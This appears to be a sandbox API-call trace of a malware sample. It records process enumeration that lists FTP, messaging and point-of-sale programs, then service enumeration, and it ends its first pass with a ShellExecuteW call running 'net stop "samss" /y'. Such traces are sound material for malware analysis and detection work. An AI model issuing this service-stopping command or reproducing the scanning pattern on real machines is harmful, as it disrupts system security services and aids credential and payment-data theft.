	[0235.244] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0235.246] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0235.248] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0235.251] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0235.253] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0235.255] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0235.257] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0235.260] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0235.262] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0235.264] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0235.266] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0235.269] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0235.271] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0235.273] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0235.369] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0235.372] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0235.374] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0235.377] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0235.379] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0235.381] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0235.384] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0235.386] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0235.388] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0235.391] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0235.393] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0235.395] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0235.398] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0235.400] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0235.402] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0235.405] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0235.407] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0235.409] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0235.411] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0235.462] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0235.465] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0235.467] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0235.469] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0235.471] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0235.473] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0235.476] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0235.478] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0235.481] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan purchases.exe")) returned 1
	[0235.483] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana.exe")) returned 1
	[0235.485] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="floppy.exe")) returned 1
	[0235.487] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="computed kernel.exe")) returned 1
	[0235.489] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0235.491] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xad0, pcPriClassBase=8, dwFlags=0x0, szExeFile="uZkoH.exe")) returned 1
	[0235.493] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd8, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="fMRKmiSrvlan.exe")) returned 1
	[0235.495] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="HovnaLKnSlan.exe")) returned 1
	[0235.497] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0235.620] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0235.622] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0235.624] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0235.627] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0235.628] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0235.630] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1
	[0235.632] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0235.634] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0235.636] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0235.639] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0235.640] CloseHandle (hObject=0x37c) returned 1
	[0235.640] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f0400
	[0235.641] EnumServicesStatusW (in: hSCManager=0x3f0400, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0 | out: lpServices=0x0, pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0) returned 0
	[0235.642] VirtualAlloc (lpAddress=0x0, dwSize=0x1710, flAllocationType=0x1000, flProtect=0x40) returned 0xe0000
	[0235.643] EnumServicesStatusW (in: hSCManager=0x3f0400, dwServiceType=0x30, dwServiceState=0x1, lpServices=0xe0000, cbBufSize=0x1710, pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0 | out: lpServices=0xe0000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0) returned 1
	[0235.645] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0236.229] Sleep (dwMilliseconds=0x96) 
	[0236.597] VirtualFree (lpAddress=0xe0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.597] Sleep (dwMilliseconds=0xc350) 
	[0247.225] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x4c4
	[0247.694] Process32FirstW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0247.696] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0247.698] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0247.700] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0247.703] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0247.705] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0247.707] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0247.709] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0247.713] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0247.715] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0247.717] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0247.719] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0247.721] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.030] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.032] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
